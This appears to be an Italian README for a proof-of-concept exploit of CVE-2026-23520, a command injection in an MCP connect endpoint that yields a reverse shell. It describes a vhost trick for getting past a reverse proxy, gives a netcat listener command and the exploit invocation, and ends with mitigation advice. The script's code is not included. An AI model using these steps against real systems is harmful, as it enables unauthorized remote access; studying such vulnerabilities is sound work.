
🎓 PoC Educativo per CVE-2026-23520. Laboratorio di analisi delle vulnerabilità e mitigazione controllata. 🧪
DICHIARAZIONE: Questo repository e gli script in esso contenuti sono strettamente a scopo educativo e accademico.
Le informazioni qui fornite sono intese ad aiutare ricercatori di sicurezza, amministratori di sistema e studenti a comprendere i meccanismi delle vulnerabilità di command injection e del routing di host virtuali in ambienti di laboratorio controllati (come piattaforme Capture The Flag).
Non utilizzare mai questo strumento contro alcun sistema, rete o infrastruttura senza il permesso esplicito e scritto del proprietario. Gli autori non si assumono alcuna responsabilità per qualsiasi uso improprio o danno causato da questo software.
Questo repository fornisce una Proof of Concept (PoC) per sfruttare CVE-2026-23520 nel contesto dell'implementazione del Model Context Protocol (MCP) in determinate stack applicative (come Arcane v1.13.0).
La vulnerabilità è una classica falla di Command Injection. L'endpoint API (/api/mcp/connect) accetta un payload JSON per configurare una nuova connessione al server. Il payload include un oggetto serverConfig contenente i campi e .
commandargsPoiché l'applicazione non riesce a sanitizzare correttamente questi campi prima di eseguirli sul sistema operativo host, un attaccante può fornire comandi bash malevoli (come una reverse shell) invece di un percorso di servizio legittimo.
In molte implementazioni reali o CTF, inviare semplicemente l'exploit all'indirizzo IP principale risulterà in un errore 404 Not Found. Ciò accade perché il componente vulnerabile (ad esempio MCPJam Inspector) è ospitato dietro un proxy inverso (come Nginx) che instrada il traffico in base all'header Host.
Questa PoC si differenzia dagli exploit standard permettendo esplicitamente all'utente di specificare l'host virtuale (vhost) per bypassare le regole di routing del proxy e colpire direttamente l'applicazione vulnerabile.
Questo script richiede Python 3 e la libreria requests.
pip install requests
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
Nota: Un errore "Read timed out" è previsto e indica che la reverse shell è stata eseguita con successo e sta mantenendo la connessione aperta.
Gli amministratori dovrebbero assicurarsi di eseguire l'ultima versione patchata del software. Se la patch non è immediatamente possibile, limitare l'accesso all'endpoint /api/mcp/connect e assicurarsi che una rigorosa convalida degli input sia applicata a tutti i parametri serverConfig.